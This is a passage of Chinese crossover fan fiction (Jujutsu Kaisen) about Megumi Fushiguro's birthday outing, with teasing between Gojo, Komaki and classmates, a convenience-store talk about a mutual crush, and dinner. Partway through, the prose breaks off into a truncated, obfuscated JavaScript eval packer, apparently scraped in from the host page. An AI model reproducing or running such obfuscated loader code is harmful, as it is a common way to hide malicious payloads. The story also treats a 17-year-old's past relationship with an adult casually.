“你这家伙,想小声说话就不要对着话筒啊。”伏黑惠照例冷面吐槽,然后顿了顿,才应:“嗯,是真的。” 而且,她说不定也发现了,所以才这么沉默,摆弄手机不说话。小莳的眼睛一直那么亮,目光灼灼,他分不清其中的情绪,那个距离,他甚至能感受到她香甜的吐息扑在他面庞…… 虎杖拿开话筒,坐到靠近伏黑惠的沙发边沿:“刚刚你们是,接,接吻了吗?” “没有。”伏黑惠的脸浮起一层薄红。 “伏黑,你脸红了诶。”虎杖坐在本属于钉崎野蔷薇的位置,向朋友那里探过去,脸上也有一点红晕,“不过也是呢,关着灯的KTV,和心动的女孩坐在一起,呜哇,想想就让人dokidoki。” “啰嗦,没有。”伏黑惠把校服领拉高。 “和东堂讲话的时候就不会有这种替他害羞的感觉,果然伏黑才是纯爱,女孩子应该会很喜欢这种。”听小高田什么的只会让他觉得尴尬,哪来的正宫自信,人气偶像禁止恋爱,而且小高田说不定根本不认识他喂。 伏黑转过头去想用眼神威慑虎杖不要说话,看见他脸上温柔真诚的笑,还有说到恋爱话题起的红晕,一下就说不出话来,他想,小太阳,确实有点相似。他下半张脸回到衣领里,“哦,是吗。” “是啊是啊,泽田应该也会喜欢。” “嗯……” 伏黑惠因为朋友的话成功平静下来。 过了一会:“她们是不是去的时间有点长了。” 虎杖闻言看时间,“是诶,还有10分钟就结束了,快到晚饭时间了。”海鲜慕斯,黄油土豆泥,羊排,松露扇贝,还有面包餐车,好耶!! 六本木,六本木! 伏黑声音冷淡:“在外面晃悠大半天,早点回去,中午不是吃过了吗。”今天小莳会邀请他一起晚餐吗? 伏黑惠以前是没觉得生日有什么意义的,这个世界上,大概不会有人因为他的诞生而高兴。除了不知道在想什么的五条老师:很小的时候,出于生活还有和禅院家的往事牵扯,五条悟拿到了他的证件,作为半个监护人也掌握了他和津美纪的信息,此后就……虽然大部分时候生气为主,但也会在偶尔的时候让他觉得还不错,在第一次见面的时候,可疑的白毛男子也只是高专快要毕业的学生,却主动接下了名为伏黑的烂摊子。他和那人也不是故交,甚至可以说是死生大敌,这份恩情伏黑惠一生也无法偿还。现在,他心里还升起一丝隐秘的渴望,虽然不是什么值得庆祝的日子,但能和她一起晚餐,饭后再绕着高专里的屋舍走上一圈,也是极好。 “啊,五条老师来了。我刚刚没看手机,错过了钉崎的消息。”虎杖低着头在屏幕上回复简讯,“钉崎说她在望风,小莳在给五条老师偷偷打自助冰激凌。她觉得有点丢人。” 虎杖觉得还行,但伏黑惠已经开始感到不好意思。招待券是四人用,五条悟是第五人。 虽然今天他只喝了红茶,虎杖到现在只喝了一杯白水,钉崎也只喝了一杯果汁,但规定就是规定。 “钉崎说被发现了!” 果然,那老师在哪都能闹出动静。 “小莳吃了一口,打发走了,危机解除。” …… “喔喔喔,五条老师就着小莳吃过的冰激凌下手了,啊,钉崎让我不要告诉你。”糟糕,看着屏幕上后面发来的“钉崎野蔷薇:好可怜,伏黑今天过生日,你别惹他。”虎杖悠仁在伏黑潦草转头以后急忙收回手机,“对不起对不起,伏黑你就当不知道行吗?” 行不了一点。 包厢的门突然打开,穿了一身西装戴着墨镜的五条悟第一个走进来,然后是野蔷薇。 最后进来的小莳没位置坐。 “小莳太狡猾,给我推荐了冰激凌柿饼,但是自己把柿饼吃完了。”五条悟把手搭在伏黑惠的左肩上,声音哀怨寻求支持:“小惠,是不是很过分?” 小莳无语,恐吓他:“闭嘴快吃,还有七分钟结束。浪费食物晚上会有饥饿而死的冤魂来找你索命的。” 五条悟补充糖分,然后问:“小莳之前给我发信息什么事?” “这种事情到时候私聊,你回的太慢了。”她拿起手机坐在伏黑惠右边的沙发边沿,打开,看见五条悟于四点四十发来的消息。 “没办法,出了帐一收到信号就回复了,连衣服都是后面换的。” 听到这里小莳才注意到他身上穿的西装,想起了乐呵事:“确实不像辅助监督。这在彭格列高低得做个守护者。” 五条悟和小莳各聊各的:“毕竟是和小莳的第一次共~进~晚~餐,只是守护者吗?怎么也得是门外顾问!” “被你一句话搞恐男了,吓人。”这家伙不知道从哪听说了泽田家光,搁这不合时宜开玩笑。如果有五条悟这样的爸,小莳多半会想继承家业然后把家烧了,也不一定,毕竟他人不坏,啊转念一想但是能说出“你从死刑变成死缓”的好人也仍然会让人很不安。 果然还是一把火烧了五条家。毕竟泽田家光按理说也是好人。 “所以你对共进晚餐那部分没意见,那这可就是我们第一次sweetsweet晚餐了哦?” 小莳给手机插上移动电源:“好歹毒的语言,怎么依稀有点日语的形状。糟糕,要长脑子了。” 趁自己被调戏的机会还看了一眼旁边伏黑惠的反应,如果他喜欢自己的话应该至少要小醋一下,回头假借看五条悟的目光一撇,见一颗茂盛的海胆头从校服里长出来,也就是,毫无反应。 不喜欢吗? 好吧,真希说他一向受女生欢迎。小莳一向对自己有自信,但她也有不会被所有人喜欢的觉悟,伏黑惠对她说不定只是同学情谊。 难得遇到合眼缘的少年,可惜。是这样的,小莳也有着一些东亚地域文化里带来的偏好,她喜欢年轻的男孩。可惜很久以前意大利那些即使十几二十岁,也成熟的像枝头因滞销而腐烂的果子,她是一点兴趣也没有。其实成熟男性也不是不可以,她前男友就是个尚可的例子,然而问题就在于,成熟男性一般要在某些领域能够覆盖伴侣需求,可在意大利期间,小莳已经不需要任何陌生男人通过帮助她的形式介入生活了。 通通不如奈亚。 如果甚尔和她不幸是在意大利见面,那她也不会多看他一眼的,大约反之亦然,如果在平行世界里他们遇见,大概也就是擦肩而过这样。 不过现在也是了,分手也有3个月,小莳很难说自己会留恋米花町的日子;而伏黑甚尔,说不定换了去处,说不定还在女演员身边,但无论如何,他大约也很难想起自己的上一任金主。小莳大约就和他以前借住过的其他女性一样,成为征十郎所说的“面目模糊的脸”,他甚至不会记住她的长相。 是的,伏黑甚尔在一年前说漏过嘴,说她美则美矣但不是他喜欢的类型,小莳现在还记得。 转回现在,她再过几个月就要回并盛,然后在意大利和日本之间往返,以后和伏黑惠即使是列表里的好友,但不会总再见面。 然后就这样,消散。 61. 第 61 章 伏黑惠说不清自己是什么心情,没有任务的一天、和小莳去东京市区,本来应该是双倍的快乐,直到五条悟穿着西装对他恋慕的对象发表轻浮之词,而她习以为常的应对。 她还没有反驳关于共进晚餐部分的邀约。 是的,小莳和五条老师一向交好,他一早就知道。见到她的第二次,那时小莳谈笑的对象就是……五条老师,她目光看的方向,脚尖对着的方向,而他只不过是经提醒后她顺手招呼的对象;再过一天,真希学姐和小莳起冲突,五条老师难得准时,而小莳也毫无芥蒂被他提溜起,他们的聊天他难以插话,只能静静旁观。 据他所知,五条老师每一次见小莳都会特意戴上对六眼干扰更大的墨镜,那样确实更好看。哦,他刚刚说一出帐就回了消息,而她摆弄手机的时候也没忘记五条老师。 那么,在他不知道的地方,像今天这样的交谈早就不知道发生过多少次了。 真是过分,这样的话和他说什么“老师觉得你很有希望哦,现在来教教你该怎么和女孩子交往。”的五条老师实在是太恶劣了,即使是身负恩情也不想原谅。 伏黑惠清晰而揪心地认识到,他和五条老师比起来,差的太远了。虽然对方年纪也不小就是了。 他在几天前还因为听见小莳偏好黑发绿眼而产生窃喜,现在想来这在天堑的差距前什么都算不上。 失恋了,他还想和小莳共进晚餐。 她是他生父曾经交往过的女友,本来也不应该有这些交集,而且她是外籍人士,总会回意大利,并盛只是祖籍,最后,她并不在意他。 停下吧,没有意义,忘掉吧,没有价值,消散吧,没人介怀。除了他自己。 伏黑惠避开钉崎的触碰,她是想关心他,但是算了,这时候默默无闻没人在意反而是最好的调理。他走在五人中的最后一位,五条老师在前面有意识的放缓了步伐,为了第二位的小莳也能跟上,然后是没有觉察的虎杖。 “抱歉,老师果然有点好奇小莳到底想说什么小秘密,嗨~大家请不要随意走动,我们去去就来。”五条悟说着把人往马路对面一拽,带入一家便利店。 “嗯?诶诶诶诶?”余音是措手不及被趁最后几秒拉过马路的小莳的惊呼,她落下的手机被运动神经敏捷的虎杖接住。 “钉崎,我们不能随便看别人手机。”虽然也有一点好奇泽田同学在和谁说什么,但是钉崎你不要凑这么近。 “手机没有熄屏,而且它刚刚落到虎杖手上的时候就是屏幕朝上的对吧!” “不……我没注意。而且这样果然有点侵犯人隐私……” “你既然不想让我看就不要摊开手掌往这里伸,你把屏幕关掉啊!!” “这个……我也做不到。” 伏黑惠过来一声不吭按了锁屏,结束了一场无聊的喜剧。 “伏黑!”“伏黑!”一同响起的失望和愤怒重叠因让他找回了点平时三个人出行的节奏。 “走了,回高专。” “不!我们还有晚饭!” 这家伙绝对是吃醋了,野蔷薇点点头,声音黏糊起来:“可是,小莳的手机还在这里哦~” “快晚餐时间,以五条老师的性格他们应该不会回来……今晚我交给她。” “绝对会回来。”两个同学默契异口同声。 “……” “你这家伙,不会以为小莳被五条老师拐跑了在暗自发酸吧!真是可爱捏,伏黑小亲亲~” 捧场王上线:“原来伏黑一路不说话是因为这个吗?” 这两个人到底有什么毛病啊!伏黑惠觉得校服衣领还是太矮了。 想给虎杖的头来一拳,但是手上的手机震动了一下,下意识看了眼屏幕才想起这是小莳遗落在此的,并不属于他。 锁定屏幕中,有一条刚发来的消息。 夏油杰:咒术高层可没有你想象中那么容易撼动,若是说家光先生在此逗留是能力不足,那就有些偏颇了。 伏黑惠知道不应该,但他眼睛直到大脑理解信息的含义后才离开屏幕。 “啊,小莳和父亲的关系果然很糟糕,已经到了要和朋友吐槽的境地了,看来她新年真的不打算回家。” “是吗?我只在那天听到过一次泽田和她父亲的对话,新年钉崎有什么安排吗,我想回仙台一趟。” 伏黑惠额头跳出青筋:“你们两个……” “是伏黑你先看的,对吧虎杖!” “确实是这样诶。” “……” 钉崎:“来新消息了,夏油杰,就是五条老师的朋友,去年被处决的诅咒师对吧,从他讲话倒看不出来是个坏蛋。” “看起来人不错的样子,但听胖达前辈说他曾经想把非咒术师灭绝,创造一个只有咒术师的世界。” “噫,但是他写‘第一个新年如果不在家里度过会有些可惜,但如果是你的话,以后应该会有很多年可以一起度过,倒也不太值得遗憾。’完全想象不出来是那种人,伏黑你说呢?” 伏黑不说话。 几个人在一起确实容易壮胆,伏黑惠和两位同学结伴,做了完全违背人生信条的事情。 夏油杰:所以你们庆祝完十影的生日以后可以别回并盛庆祝我的忌日吗?感觉独自工作也挺好。 Oops “啊啊啊啊啊,那个今夜月色真美。” “笨蛋虎杖,天还没黑,而且你和伏黑说这个是想怎样?!伏黑,我们商量一下要不然你就忘了这件事吧。” 伏黑惠难以控制面部的表情,他咬牙切齿:“……说明。” * 小莳被一路拉扯到便利店,“无下限不是你这样用的吧,我人要变成风筝了啊喂!” 然后她人被压在冰柜门上,一米九的同色系男子居高临下看着她:“小莳,你想说什么。” “你换条路推车。”两人站在冰柜门口,挡住了一个推车顾客,小莳不打算让开,直接转头命令人离开。 直到那人笨拙转向180°后小莳才回头,“你能别一副青春校园漫画里面的那个霸道校草一样吗?完全吸引不到人。”怪不得母单,好丢人。 “讨厌,我以为这样会很帅气,小莳有发现我最近在探索你的喜好这件事吗?”意图被揭穿,五条悟也不气馁,扶冰柜的手让出一条足矣供她出去的路。 “完全发现了,但是不在意,排除你无法自拔地爱上我,难道是你和杰打赌说你一定能在半年内追到我?” 五条悟心中没数,不可置信:“……要半年?你这么瞧不起我?” 小莳朝他点点头:“半年还是太保守。也许半辈子以后等我丈夫去世的那天你给我寄来一封火热的告白信,在七十二岁那年我会出于怜悯在船上和你发生些事情。” “……我看过《霍乱时期的爱情》,我才不会喜欢小莳你这样的!!”这句话几乎是带着点尖叫性质。 十七岁妙龄少女极致逗猫:“放心,没人说你疯狂迷恋我,只是我正好今天想到了一些伦理问题,一想到伦理问题我就会想到这本书。正好咱们说起了追求。你知道我对和我差不多的白毛没什么兴趣,而且你年纪太大了,等我七十二你都八十四,太老,不要。” 她近期比较喜欢在她七十二岁的时候年轻恰好七十或七十一的。 五条悟完全受到了打击,他捏着小莳手腕,很强势的拉近:“伏黑甚尔年纪不比我大多了?” 他急了他急了。 小莳得意洋洋:“哦,他是黑发绿眼,我的type。而且他拿钱办事的时候人还挺好的,会做饭洗衣服铺床打扫卫生,还会开车,你看你都不会吧~而且他那时候27,五条老师,你今年贵庚?” 什么都会只是性格不好的五条悟一口咬定:“18。” “啊对对对,你刚满18岁。找我过来什么事?”肯定不是为了解答疑惑,五条悟有善心,但几乎不体贴。 “小莳,你是不是对惠……” (脏话)好敏锐啊五条悟,怎么发现的,不就是今天那一下的事情,难道是真希?不对,今天五条悟下午一直在高专外,而且如果真希问他了,他这性格绝对会在KTV里面就大问特问。 真羡慕六眼的洞察啊,这么想着,小莳冲他不明所以的眨眨眼,“对伏黑怎么了?” 感觉不像,但是直觉说它能破除迷雾的障眼法,五条悟的一分钟能够抵得上众多凡人平庸的一生,他没什么犹豫就选好了对策,谨慎出击:“我觉得惠好像是有点喜欢小莳。”卖学生了,但没完全卖。 “……” 五条悟揭开墨镜,一点遮掩也没有的打量:“小莳怎么不说话,难道是太惊讶?” “这可不好笑,坦白说我有点吓到。”是真的被吓到,此情此景像该被警惕的互联网杀猪盘。 才刚意识到对伏黑惠萌生的好感,这边一位大事能共谋,小事不靠谱的可疑成年男子就在这里说什么“我觉得他喜欢你哦~”,而且五条悟一向爱拿她前任说事--可以理解毕竟这是一生唯一的濒死体验卡赠与者,正因如此,信赖……便不能了。 如果对方只是想开自己玩笑,她绝对会超级生气。为了让关系不要闹太僵,还是不要走到那境地为好。 “小莳你还真是和纲吉说的一样,防备心重的时候会像噘嘴的小猫一样唇部肌肉发力。” 这弯下腰来细细端详的姿势还真是令人不快,而且阿纲你都回意大利了,怎么还在和五条悟聊?!什么都说只会害了你! 小莳想摁着五条悟的头把他推开,在此之前他先一步伸出了手,罩住她的头顶:“嗨嗨嗨,不要紧张,是我不好。” 五条悟说出这种话有一种被夺舍的错乱。 小莳的头顶发丝被揉乱,但她仍然难捱地抬起头,看他的眼睛。对上五条悟含笑的蓝瞳:“只是发现小莳经常用这种方式逗别人,正好学来了。” 差点以为有人真的要长大了,结果最后快到18的终究只有她一人,这人还是7岁。 “不过纲吉君有和我说过小莳在未来战以后4岁的事情,你受苦了。真是个好孩子。”五条悟直到了解了小莳更多的过往后,才明白她能快速从无量空处的影响下走出来的原因:这孩子在本该无忧无虑的童年就于一瞬间被迫接受了不属于自己的十四年记忆,在和平年代里,战火与哀嚎却常伴她入眠,污浊与绝望种种拖住了她成长的进程,以致于她在此后的三年里大部分时间都缄默。 她博闻强识,遍览群书,是无法走出自我世界的代偿。 现在的小莳,只是比较恶趣味有不失良善之心的天才少女而已。五条悟本以为他们是差不多的生长环境,自然型天才、绝伦的家境、万千宠爱于一身,然后无法无天的长大,最终在社会中逐渐学会自我约束,没想到是从荒芜沼泽中攥紧名为“爱”的麻绳攀援而上,一步一步自嘈杂沉重重返人间。 五条悟的共情能力算低下的,18岁在挚友叛逃后稍有提升,而在如今的29岁,他因为一个看似与他一样之人的前尘往事而深深感慨,流连低回。 “他怎么连这个也和你说。”她小声抱怨。 “因为我是你的家庭教师嘛。” “……”他还有脸说,害她一周三天走读。 “好!谈心谈话结束,回到正题,你对小惠,是不是有点喜欢?” 事到如今已经被揪住尾巴,再否认也没趣。小莳艰难点头,他要敢说什么“口味如一”“谈过父亲又喜欢儿子”这种调侃话,那无论如何今天都要揍这人一顿。 她警告:“我知道伏黑同学对我没什么兴趣,也没指望发生什么,反正这阵子过完我就会离开高专,你谨言慎行。” 小惠可太有兴趣了。五条悟大大的眼睛因过分的笑意眯成一条缝,这在小莳看来就是嘲笑:“什么时候开始的?” 不欲回答:“你问这么多干嘛。” 五条悟夹起来:“说嘛说嘛,我们不是最好的朋友吗?” 从来都不是啊!小莳打了个寒颤:“说得好,下次你在杰面前给我表演这个,最好再加上关键词:唯一的挚友。” “这就不用了,不过我不会乱讲的!小莳你快告诉我,急急急急!”五条悟头一次经历“身边的人在双向暗恋,并且都以为自己是单恋”这种恋爱漫画情节,因为青春被迫中断而一直抱有缺憾的五条老师,把这份期待投射到年轻一代人身上,现在他恨不能瞬移到马路上摁着自家学生的头来告白。 小莳在心里给五条悟下了定义:狗头军师,她不信他:“好啊,你用杰的后半生幸福起誓我就相信你。”五条悟根本不信邪,放在自己身上他指不定随随便便就说了。 远方的并盛,回完第二条消息的夏油杰打了冬至的第一个喷嚏。 圣诞节前夜……果然很不靠谱,他打开锁屏,想了想又发了第三条信息。 “……杰好惨,但是好的,我用杰后半生幸福起誓,绝对不会把小莳的秘密说出去的!” “……你还真敢说,如果杰下半辈子命途多舛那可就怪你了。”只是普普通通的发誓,不带束缚性质,但是敢用死了又活过一次的挚友幸福发誓的人--怪不得五条悟只有唯一的挚友!其他人不耐克。 小莳完全忽略了馊主意是由自己这个同为夏油杰关系方的人起头。 “那只能怪彭格列和风纪财团工作安排失调,和我一个勤勤恳恳的人民教师又有什么关系。”最近五条悟学习了劳动基准法,虽然夏油杰现在也是意大利籍,但风纪财团确确实实是并盛本地、法人代表也是日本籍的纯本土企业。 好能卷,年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“在便利店也有五分钟了,我们回去。”五条悟看了一眼手机,“发生了一些事情,小惠已经知道要给他庆祝生日的事情了,不太高兴。作为老师,怎么能看学生之间发生不睦,把你带回去他们就会好起来了!” 小莳自动理解成有陌生人在家长不方便打小孩。 她点点头,再次警告:“如果你说什么‘老师一定会帮你撮合’‘小莳放心追,老师永相随’之类的话,我就打你。” 五条悟发现小莳当真对恋爱本身没什么期待,和天真烂漫的小惠一点也不同,遂闭口。 想结账,发现没手机,强迫五条悟付钱。 出去便利店,冬日寒风吹不到开着无下限的五条悟身上,也吹不冷火炎保暖措施到位的小莳。她隔着马路就看到虎杖悠仁和野蔷薇一左一右架着伏黑惠的手,和他说说笑笑。 “生日快乐,伏黑。”小莳被落在五条悟身后有段距离,等她过了马路三人已经围在满脸不情愿的伏黑惠面前咔咔拍照了。 “只有最后一张表情还不错,小惠总这么臭着脸可没有女孩会喜欢。”五条悟说着还朝小莳wink一下,“你说对吧小莳。” 五条悟,一个分寸成谜的男人,小莳没给他一个眼神:“这种事情我可不知道,你找真希问问。” “诶,为什么要问真希?” 小莳:“她可太懂女孩子喜欢什么了。不会吧,你们都没感应到她身上浓浓的LGBT气息吗?我从和她过完一次任务以后就识别出来了,她还帮我拎喜久福呢!” “……” “……” 野蔷薇和虎杖转起来,好奇宝宝开问:“LGBT是什么?是什么?” “不,帮你拎喜久福这不能说明什么--吧?”五条悟也被带偏,本来想辅助学生上分的,甚至连走神都没有,话题就偏移到奇怪的地方。 “你太没悟性,不和你聊感情,超直感这门你没选修吧。”神清气爽。 “那你说你追真希要几天?” “哈?我为什么要追她,我的性取向绝对是人类男性。” 五条悟就在马路上拉着她衣角不让走,就地胡闹:“你说啊你说啊!” 小莳真就开始想起来,然后自信回答:“两天,第一天接吻,第二天告白。如果失败的话就当我没说,当然,我怎么可能会在一件一件根本不会发生的事情上失败呢?”这种事情绝对不会发生的。 “什么!两天?你是普信女。”五条悟因为半年和半辈子的仇实施言语打击报复。 虎杖悠仁好像明白LGBT的含义了,野蔷薇为真希学姐发声:“就算是小莳说这些也太恶劣,就算真希学姐真的很在意你,不要把她当成游戏攻略对象啊!!” 胡说,她哪有,都说这是不可能发生的事情了。一切都是五条悟蓄意挑拨的! 伏黑惠沉默。 虎杖悠仁:“可是为什么第一天接吻,第二天告白?好痛,钉崎!”被野蔷薇踩了脚。 “不要把我的话当耳旁风啊喂!” 完全过滤没跟上话题的声音,小莳说:“真希是那种儿童时期过得很艰苦的小孩,选择离家出走的她必定已经被磨练出了坚定的意志,想要让她破除迷障认清自己的心总得发生点足以动摇根基的事情,电视剧里的生离死别实在太残忍,小孩子不要乱学,所以就选择稍微温和一点的方式。然后给她一夜思考的时间,登登--拿下!”讲完还给观众们鞠了一躬。 直觉型选手五条悟:“……10分。”不可思议,看起来像是恋爱达人的小莳居然完全错误的以为自己是在单向喜欢,而且这时候的自信劲完全和便利店里“我知道伏黑同学对我没什么兴趣”的保守姿态完全不是一个人。 当局者迷。总之就是非常可爱。五条老师下定决心一定要让他们在新年前谈上! 也正是因为小莳有这样一面,他才会觉得他们像一类人。 “好了好了,今天是你伏黑同学的生日,还是不要让真希出来抢风头,我们准备去六本木了。”他一手揽着小莳一手揽着伏黑惠,两人的肩膀因此靠在了一起,她的手也不慎碰到了伏黑惠的。 呜哇,这家伙。 小莳收手目不斜视看手机,错过了伏黑惠微红的脸。 看了眼距离,大概5公里,20分钟以后差不多就是预定的点,到了还可以帮野蔷薇拍会照片。 “OK,我们打车。” “真的吗?打车可是很贵的。” “……你一件衬衫25w,大少爷。” 东京出租车确实不便宜,小莳上次在市内2公里左右的里程花了1800,但小小车费完全在她能力范围内。 在有车停靠在路边后,五条悟抢着先坐到后座:“嗨,那么作为全日本第二喜欢黄油土豆的人,我带着虎杖和野蔷薇出发了,你们两个等下一班~” 这是她拦的车没错吧,而且感情这事撮合不来,不必这样:“……” 五条悟在车缓缓前进时还探出窗朝两人招呼:“要好好相处哦~” 62. 第 62 章 第二辆出租车是伏黑惠打的,小莳懒得抬手。 伏黑同学真是个好人啊,可惜脑子里一直有个声音在说“谈了爸爸就不能再谈儿子了呦”,主要是害怕丢人。算了。 他还贴心的帮她打开车门。 “谢谢。” 小莳坐的不算靠里,伏黑惠进来后手不小心还碰到了她没安放在腿上的右手,一触即分。 哎,有点想牵手。 小莳缩回更左边的角落里,倚着车门回复简讯,她算是知道给伏黑惠庆生的事情是怎么泄露的了,四舍五入这件事情得怪五条悟突然把她拉走。 领导同事在天堂:你想得美。 领导同事在天堂:25号那天我们还会围着你唱生日快乐歌,庆祝我们家小杰重获新生。 感觉来了但立刻失恋,心情不好,随便挑选一个幸运儿戏弄一番。 夏油杰:悟惹你不高兴了? 小莳却没回了,因为伏黑惠和她说话。 “抱歉,我们不是有意看你手机的。” “没关系,如果不是虎杖手机就要掉地了,说不定屏幕都会刮花。”小莳勾起手指摩挲屏幕,展示给伏黑惠看,现在她愿意在他面前多说点:“你看,安然无恙。” 伏黑惠其实没太关注屏幕,他眼里全是夏油杰那条带有内容的消息提醒横幅。 他想到她也是以名称呼五条老师,好亲密,明明差不多算得上同龄人,她交往密切的对象却多为成年人,她会更偏好成熟的类型吗? 但是五条老师怎么也和成熟关系不大,而且伏黑甚尔……那个男人,涩谷那天晚上他也没看出来除了肉身强大之外他的其他优点。 好吧,那个人也是黑发绿眼,长得不赖。除此之外大概还擅长料理家事,伏黑惠还有一些小时候被带在身边的依稀印象。只是那人责任心几乎没有,最后都会是他和津美纪自己找到回家的路。 那样的人,怎么会和小莳在一起,看样子还是做了对不起她的事情。然后……也不是不可以想象发生了怎样的事情。很久以前,他有听津美纪母亲抱怨过丈夫归家时身上沾的香水气味,还有他的一些留宿过往,如果他没理解错的话,生父大概就是这么个人。 而小莳,似乎并没有为此感到受伤,也并不太在意。她是就这样坚强吗,还是她其实不算喜欢伏黑甚尔?他希望是后者,不要喜欢伏黑甚尔,也不要多看五条悟,不要在他面前亮出旁人无法随意介入的气场,不要在他看不到的地方和其他人欢声笑语。 是小莳的话,意志不坚定也可以,脆弱也可以,是她的话怎样都好。 伏黑惠想知道有关泽田小莳的一切,他还想要更多,想和她牵手走在街上或者随便什么地方,想让她的目光心甘情愿停留在他身上,想她不是透过他看谁,而只是看着他,只是看着伏黑惠。 这么想着的少年,张口说:“泽田,你没有给手机贴膜的习惯吗?” “嗯,没有诶。” “可是不贴膜的话日常倒扣在桌面上,或者放到口袋里都会有摩擦,时间长了就会有划痕。”伏黑惠拿出自己的手机,给小莳看,引她凑近。 他想她有可能只会随意瞥一眼,像之前自己拙劣搭话的每一次。但她这次凑近看了,她的发丝扫到了他露出的手腕,下巴几乎搭到他胳膊上,伏黑惠闻到了小莳身上好闻的气味。 烘焙的咖啡豆内敛的香,混着一点微妙的焦糖味。 “看上去真不错,不过我一般是直接换手机。改天我让奈亚研究一下,说不定可以延迟换手机。你知道的,现在备份很麻烦,换手机的话还要文件搬家。”伏黑惠的手腕纤细,顺着手掌能看见青蓝色的血管,以及凸起来的轮廓。 想摸。 小莳退回社交距离,“伏黑你是自己贴的吗?” “嗯,我也可以帮你贴。商场里应该就能买到,如果你需要的话,吃完饭可以去看看。顺路。”伏黑惠不动声色发出邀请。 小莳眨眼,不过脑子的话张口就来:“我不太会挑。”实际上只要会说话就可以求助店员,或者随机问一问幸运路人,市中心的晚上从不缺人。 “不要紧,我陪你去。” 距离伏黑惠沉着又快速的应答又过了十秒钟,两人都没说话,小莳晃了晃脑袋。 “我好逊。”且不说脑袋一抽的犯蠢吐词,还有这钓鱼一样的引诱男高手法,脑袋复杂晦涩的运行,最后的结果居然是要去百元店买手机壳,哦,手机保护膜。她对自己说,小莳,你好笨。 太糟糕了,这辈子没约过这么落魄的会,而且这根本也算不上约会。 “没有的事情。”“要不我还是在亚马逊上随便买一个吧。” 异口同声的一阵安静以后,到地了。 伏黑惠先下车后还转身朝小莳伸出了手,小莳没有犹豫搭了上去,借他握着的力从车里起身。他的手掌干燥温暖,手指骨骼分明,很好看。 可惜不能多牵一会,小莳遗憾的在分开时摸了一把伏黑惠的手心,纯属是下意识动作,他看上去也没什么反应,可能没在意。 幸好,差点就要被当成耍流氓了。 伏黑惠还主动付了车钱,另一车多半是五条悟付的,小莳给银行卡省了没什么必要的1w。 被侍应生接待,引到预定的座位,她很快进入晚餐和蛋糕状态,和高专诸位闲聊起来。 下午吃得不少,小莳选了5道的course,又单点了一份期待挺久的煎扇贝,除了她以外所有人都加点了一份鱼子酱龙虾冻。 伏黑惠:“单纯觉得会好吃。” 虎杖悠仁:“因为是surprisemenu,不点的话感觉亏了。” 野蔷薇:“看见所有网上来打卡的人都点了。” 五条悟:“我要加入大家,孤立小莳。” 吃到一半小莳没什么兴致的打开了可尔必思。“我感觉自己做不了好女人了,这扇贝里面放了葱姜水。”不是它的错,也确实鲜甜,只是不合适。 然后她带着野蔷薇出店晃荡一圈,顺便拍点夜景照片。 野蔷薇坐在栏杆上,双脚抬起,仅靠极好的平衡能力维持姿势摆pose,小莳帮她拍照:“大城市就是好啊,有绕着银灯的树,也有八点还不熄灯的大楼,那么大的圣诞树,还有在路上就能看到的东京塔。” 小莳将手机递给她:“是嘛,火树银花不夜天,但是晚上八点还不熄灯对于里面的人来说未必真的快乐。” 野蔷薇说,能在城市里生活,即使繁忙劳苦她也能受得,她说起自己在村里没有隐私的生活,袚除咒灵时被看见然后被当成精神失常,说起没有咒力的父母,不赞成她来上学的奶奶。虽然言语中有一点怀念,更多的还是离开的庆幸。 回去的路上,她挽着小莳的手,说起自己年幼时遇到的纱织姐姐,她暂居一阵后回到东京,自己只遗憾没有留下联系方式,希望能和她相遇,也希望朋友小文早点离开家乡那个无理之人沸反盈天的地方。 “比起在三千万人的东京偶遇,野蔷薇你可以去找纱织。” 钉崎野蔷薇不好意思地笑,她说自己大概还没有做好准备,她说小时候的自己有点粘人,或许纱织很快就忘记了她,或许她心中的埋藏温情在纱织那里只是一段旧时光,她不确定自己有没有准备好重新认识纱织,也让对方重新看见她。 “虎杖是个笨蛋,伏黑太闷骚,果然只有在女孩子面前才能说说这些事情。小莳,你觉得我应该怎么做呢?” 此情此景,让她想到一个多月前的夏油杰。 小莳:我交友大师的身份果然瞒不住了,情感联络专家就是kono小莳哒。 时间还够,也没人发来消息催促,小莳多在外逗留了五分钟,和迷茫少女讲述了她曾看过的金蔷薇的故事。 落魄的老兵家乡有个传说,谁能够拥有一朵金蔷薇,谁就能获得好运。在他喜欢上一位故人之后,他下定决心要赠与一朵金蔷薇,于是他从首饰作坊的尘土里筛出金粉,日积月累又铸成金锭,此时找到工匠打造蔷薇花不过几天的功夫,但在此时他却开始害怕与故人重逢的时刻。 “正是因为一天天像收集金粉一样积攒了太多的情感,所以在畏怯对方难达期待的反应,害怕她不珍惜,害怕她不在意,害怕她不屑一顾就这样走掉。” “但是我倒觉得,有这样金蔷薇一样的心,就已经足够珍贵了哦。纱织会记得你的,野蔷薇,你们会有愉快的、温情的会面,一起吃饭,然后沿着街道像我们今晚一样走一走。争取在新年前就这样做吧。”她这样对钉崎野蔷薇说。 “这故事还是我在米花町的时候看的,人心情郁闷的时候就该看点带来温暖的作品。如果这个它能帮到你就再好不过了。”如今时过境迁,她已经不太需要这样的故事支撑生活,将其包装成二手物品捐给有需要的人也是极好。 “小莳!”钉崎野蔷薇的眼睛里倒映着足以媲美整条街灯的光,她的心也像轻盈的尘土一样因为一阵风飘起,“你说得对,我应该去找她!你不开玩笑的时候真是太成熟了呜呜呜呜,简直就像纱织一样。” 什么叫不开玩笑的时候,而且她怎么又被代餐了。 算了,代吧代吧,天生贵替命格。 溜达一圈回去,已经上到了主菜,五条悟提前让店里收起冷冻的蛋糕也被端上桌,还没切。 “钉崎,你哭了?” “笨蛋,我们聊女孩子的话题你少管!” 小莳心想虎杖讲话越来越像他老师了,光华四射的小太阳也被乌云笼罩。 “小莳,他们的土豆泥是赠送的,超好吃!” 头一次见到吃土豆吃到微醺的,她掂起面前的小碗,分量不轻:“我的让给你?” “你尝一口嘛,真的很好吃!” “面包和羊肚菌炖牛肉已经足够了。”吃的时候不觉得,但是柿饼挺占肚子,尤其她一下吃了四个,“过会我还要吃蛋糕,理性权衡之下我决定放弃性价比更低的土豆泥。” 五条悟对自己的安利被打回很不满:“可你还喝可尔必思。” “这是小甜水,和土豆泥不共用内存。” “你吃一口,绝对会被迷住。” 真的吗?她不信,土豆也是乡土料理蔬菜中的重要一环,说到乡土料理……毕竟不是乔尔卢布松本人下厨,比起惠宝的手艺多半还是有差距。 